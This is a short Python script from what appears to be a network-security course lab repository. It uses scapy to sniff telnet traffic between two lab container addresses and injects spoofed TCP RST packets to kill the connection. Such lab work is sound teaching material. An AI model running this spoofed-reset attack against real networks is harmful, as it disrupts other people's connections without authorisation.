Files
nudtns2026spring/Tcp/Labsetup/volumes/reset_attack.py

15 lines
565 B
Python

#!/usr/bin/env python3
from scapy.all import *
def spoof_reset(pkt):
print("Detected TCP packet from {} to {}".format(pkt[IP].src, pkt[IP].dst))
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
res = ip/tcp
send(res, verbose=0)
print("Sent spoofed RST packet to terminate connection.")
exit(0)
print("Sniffing for telnet traffic on br-603d3788c443...")
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=spoof_reset)